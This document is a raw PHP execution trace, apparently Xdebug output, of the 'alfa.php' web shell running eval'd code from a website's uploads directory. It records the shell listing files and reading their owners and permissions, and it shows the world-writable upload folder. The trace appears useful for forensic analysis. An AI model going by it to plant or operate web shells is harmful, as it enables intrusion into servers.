5	569	0	0.098586	3526736	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3319	3	[0 => '..', 1 => '//']	[0 => '', 1 => '/']	NULL
5	569	1	0.098605	3526832
5	569	R			''
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3319	_SESSION['last_cwd_96e9c95994dd10d445a4d75f32a5faa1'] = ''
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3321	$cmd_dir = FALSE
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3347	$sort = [0 => 'name', 1 => 1]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3353	$files = []
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3353	$dirs = []
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3354	$n = 6
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3355	$i = 0
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3365	$filename = '.'
5	570	0	0.098722	3526760	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'posix_getpwuid'
5	570	1	0.098738	3526800
5	570	R			TRUE
5	571	0	0.098751	3526760	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'fileowner'
5	571	1	0.098765	3526800
5	571	R			TRUE
5	572	0	0.098778	3526808	fileowner	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'/var/www/html/uploads/.'
5	572	1	0.098796	3526872
5	572	R			0
5	573	0	0.098809	3526784	posix_getpwuid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	0
5	573	1	0.098837	3527584
5	573	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	574	0	0.098883	3527552	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'posix_getgrgid'
5	574	1	0.098898	3527592
5	574	R			TRUE
5	575	0	0.098911	3527552	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'filegroup'
5	575	1	0.098925	3527592
5	575	R			TRUE
5	576	0	0.098938	3527600	filegroup	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'/var/www/html/uploads/.'
5	576	1	0.098952	3527640
5	576	R			0
5	577	0	0.098964	3527552	posix_getgrgid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	0
5	577	1	0.098988	3528208
5	577	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3368	$file_owner = 'root'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3369	$file_group = 'root'
5	578	0	0.099052	3528224	filemtime	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	1	'/var/www/html/uploads/.'
5	578	1	0.099067	3528264
5	578	R			1676244285
5	579	0	0.099080	3528176	date	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	2	'Y-m-d H:i:s'	1676244285
5	579	1	0.099098	3528504
5	579	R			'2023-02-13 02:54:45'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	$file_modify = '2023-02-13 02:54:45'
5	580	0	0.099126	3528480	alfaPermsColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	2	'/var/www/html/uploads/.'	???
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3049	$class = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3050	$num = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3051	$human = ''
6	581	0	0.099178	3528480	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	1	'/var/www/html/uploads/.'
6	581	1	0.099192	3528520
6	581	R			16895
6	582	0	0.099205	3528480	sprintf	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'%o'	16895
6	582	1	0.099219	3528864
6	582	R			'40777'
6	583	0	0.099232	3528800	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'40777'	-4
6	583	1	0.099246	3528896
6	583	R			'0777'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	$num = '0777'
6	584	0	0.099271	3528512	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	'/var/www/html/uploads/.'
6	584	1	0.099285	3528552
6	584	R			16895
6	585	0	0.099298	3528512	alfaPerms	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	16895
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3033	$i = 'd'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3037	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3038	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3039	$i .= 'x'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3040	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3041	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3042	$i .= 'x'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3043	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3044	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3045	$i .= 'x'
6	585	1	0.099432	3528552
6	585	R			'drwxrwxrwx'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	$human = 'drwxrwxrwx'
6	586	0	0.099459	3528552	is_readable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3059	1	'/var/www/html/uploads/.'
6	586	1	0.099477	3528592
6	586	R			TRUE
6	587	0	0.099490	3528552	is_writable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3061	1	'/var/www/html/uploads/.'
6	587	1	0.099507	3528592
6	587	R			TRUE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3064	$class = 'main_green_perm'
5	580	1	0.099534	3528736
5	580	R			'<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	$file_perm = '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>'
5	588	0	0.099572	3528736	filesize	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	1	'/var/www/html/uploads/.'
5	588	1	0.099587	3528776
5	588	R			4096
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	$file_size = 4096
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3373	$file_path = '/var/www/html/uploads/.'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3381	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	589	0	0.099651	3529112	is_file	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3384	1	'/var/www/html/uploads/.'
5	589	1	0.099666	3529152
5	589	R			FALSE
5	590	0	0.099679	3529112	is_link	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3386	1	'/var/www/html/uploads/.'
5	590	1	0.099695	3529176
5	590	R			FALSE
5	591	0	0.099708	3529136	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3388	1	'/var/www/html/uploads/.'
5	591	1	0.099723	3529176
5	591	R			TRUE
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3355	$i++
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3365	$filename = '..'
5	592	0	0.099760	3529136	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'posix_getpwuid'
5	592	1	0.099775	3529176
5	592	R			TRUE
5	593	0	0.099787	3529136	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'fileowner'
5	593	1	0.099801	3529176
5	593	R			TRUE
5	594	0	0.099814	3529192	fileowner	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'/var/www/html/uploads/..'
5	594	1	0.099829	3529240
5	594	R			0
5	595	0	0.099842	3529144	posix_getpwuid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	0
5	595	1	0.099866	3529944
5	595	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	596	0	0.099908	3529176	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'posix_getgrgid'
5	596	1	0.099923	3529216
5	596	R			TRUE
5	597	0	0.099935	3529176	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'filegroup'
5	597	1	0.099949	3529216
5	597	R			TRUE
5	598	0	0.099962	3529232	filegroup	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'/var/www/html/uploads/..'
5	598	1	0.099976	3529272
5	598	R			0
5	599	0	0.099988	3529176	posix_getgrgid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	0
5	599	1	0.100017	3529832
5	599	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3368	$file_owner = 'root'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3369	$file_group = 'root'
5	600	0	0.100141	3529264	filemtime	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	1	'/var/www/html/uploads/..'
5	600	1	0.100157	3529304
5	600	R			1676244285
5	601	0	0.100170	3529208	date	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	2	'Y-m-d H:i:s'	1676244285
5	601	1	0.100187	3529536
5	601	R			'2023-02-13 02:54:45'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	$file_modify = '2023-02-13 02:54:45'
5	602	0	0.100215	3529520	alfaPermsColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	2	'/var/www/html/uploads/..'	???
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3049	$class = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3050	$num = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3051	$human = ''
6	603	0	0.100266	3529520	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	1	'/var/www/html/uploads/..'
6	603	1	0.100280	3529560
6	603	R			16895
6	604	0	0.100293	3529520	sprintf	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'%o'	16895
6	604	1	0.100307	3529904
6	604	R			'40777'
6	605	0	0.100320	3529840	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'40777'	-4
6	605	1	0.100334	3529936
6	605	R			'0777'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	$num = '0777'
6	606	0	0.100359	3529552	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	'/var/www/html/uploads/..'
6	606	1	0.100372	3529592
6	606	R			16895
6	607	0	0.100384	3529552	alfaPerms	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	16895
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3033	$i = 'd'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3037	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3038	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3039	$i .= 'x'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3040	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3041	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3042	$i .= 'x'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3043	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3044	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3045	$i .= 'x'
6	607	1	0.100514	3529592
6	607	R			'drwxrwxrwx'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	$human = 'drwxrwxrwx'
6	608	0	0.100541	3529592	is_readable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3059	1	'/var/www/html/uploads/..'
6	608	1	0.100559	3529632
6	608	R			TRUE
6	609	0	0.100572	3529592	is_writable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3061	1	'/var/www/html/uploads/..'
6	609	1	0.100588	3529632
6	609	R			TRUE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3064	$class = 'main_green_perm'
5	602	1	0.100614	3529776
5	602	R			'<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	$file_perm = '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>'
5	610	0	0.100658	3529776	filesize	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	1	'/var/www/html/uploads/..'
5	610	1	0.100673	3529816
5	610	R			4096
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	$file_size = 4096
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3373	$file_path = '/var/www/html/uploads/..'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3381	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
5	611	0	0.100737	3529152	is_file	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3384	1	'/var/www/html/uploads/..'
5	611	1	0.100752	3529192
5	611	R			FALSE
5	612	0	0.100765	3529152	is_link	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3386	1	'/var/www/html/uploads/..'
5	612	1	0.100780	3529200
5	612	R			FALSE
5	613	0	0.100793	3529160	is_dir	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3388	1	'/var/www/html/uploads/..'
5	613	1	0.100813	3529200
5	613	R			TRUE
5	614	0	0.100826	3529160	array_merge	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3389	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
5	614	1	0.100853	3529600
5	614	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3389	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3355	$i++
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3365	$filename = '.htaccess'
5	615	0	0.100931	3529912	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'posix_getpwuid'
5	615	1	0.100946	3529952
5	615	R			TRUE
5	616	0	0.100959	3529912	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'fileowner'
5	616	1	0.100973	3529952
5	616	R			TRUE
5	617	0	0.100985	3529968	fileowner	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'/var/www/html/uploads/.htaccess'
5	617	1	0.101001	3530008
5	617	R			0
5	618	0	0.101014	3529912	posix_getpwuid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	0
5	618	1	0.101040	3530712
5	618	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
5	619	0	0.101083	3529944	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'posix_getgrgid'
5	619	1	0.101098	3529984
5	619	R			TRUE
5	620	0	0.101110	3529944	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'filegroup'
5	620	1	0.101125	3529984
5	620	R			TRUE
5	621	0	0.101137	3530000	filegroup	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	'/var/www/html/uploads/.htaccess'
5	621	1	0.101152	3530040
5	621	R			0
5	622	0	0.101164	3529944	posix_getgrgid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	1	0
5	622	1	0.101190	3530600
5	622	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3367	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3368	$file_owner = 'root'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3369	$file_group = 'root'
5	623	0	0.101254	3530032	filemtime	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	1	'/var/www/html/uploads/.htaccess'
5	623	1	0.101269	3530072
5	623	R			1676244285
5	624	0	0.101282	3529976	date	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	2	'Y-m-d H:i:s'	1676244285
5	624	1	0.101299	3530304
5	624	R			'2023-02-13 02:54:45'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3370	$file_modify = '2023-02-13 02:54:45'
5	625	0	0.101326	3530288	alfaPermsColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	2	'/var/www/html/uploads/.htaccess'	???
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3049	$class = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3050	$num = ''
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3051	$human = ''
6	626	0	0.101377	3530288	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	1	'/var/www/html/uploads/.htaccess'
6	626	1	0.101391	3530328
6	626	R			33188
6	627	0	0.101403	3530288	sprintf	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'%o'	33188
6	627	1	0.101417	3530672
6	627	R			'100644'
6	628	0	0.101430	3530608	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	2	'100644'	-4
6	628	1	0.101444	3530704
6	628	R			'0644'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3057	$num = '0644'
6	629	0	0.101469	3530320	fileperms	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	'/var/www/html/uploads/.htaccess'
6	629	1	0.101483	3530360
6	629	R			33188
6	630	0	0.101495	3530320	alfaPerms	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	1	33188
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3031	$i = '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3037	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3038	$i .= 'w'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3039	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3040	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3041	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3042	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3043	$i .= 'r'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3044	$i .= '-'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3045	$i .= '-'
6	630	1	0.101623	3530360
6	630	R			'-rw-r--r--'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3058	$human = '-rw-r--r--'
6	631	0	0.101649	3530360	is_readable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3059	1	'/var/www/html/uploads/.htaccess'
6	631	1	0.101667	3530400
6	631	R			TRUE
6	632	0	0.101679	3530360	is_writable	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3061	1	'/var/www/html/uploads/.htaccess'
6	632	1	0.101696	3530400
6	632	R			FALSE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3062	$class = 'main_white_perm'
5	625	1	0.101727	3530544
5	625	R			'<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3371	$file_perm = '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>'
5	633	0	0.101765	3530544	filesize	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	1	'/var/www/html/uploads/.htaccess'
5	633	1	0.101779	3530584
5	633	R			64
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3372	$file_size = 64
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3373	$file_path = '/var/www/html/uploads/.htaccess'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3381	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
5	634	0	0.101843	3530544	is_file	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3384	1	'/var/www/html/uploads/.htaccess'
5	634	1	0.101857	3530584
5	634	R			TRUE
5	635	0	0.101870	3530544	array_merge	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3385	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
5	635	1	0.101896	3530984
5	635	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3385	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3355	$i++
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3365	$filename = 'alfa.php'
5	636	0	0.101973	3531296	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'posix_getpwuid'
5	636	1	0.101987	3531336
5	636	R			TRUE
5	637	0	0.102000	3531296	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'fileowner'
5	637	1	0.102014	3531336
5	637	R			TRUE
5	638	0	0.102027	3531352	fileowner	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	'/var/www/html/uploads/alfa.php'
5	638	1	0.102043	3531392
5	638	R			1000
5	639	0	0.102056	3531296	posix_getpwuid	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3366	1	1000
5	639	1	0.102088	3532112
5	639	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
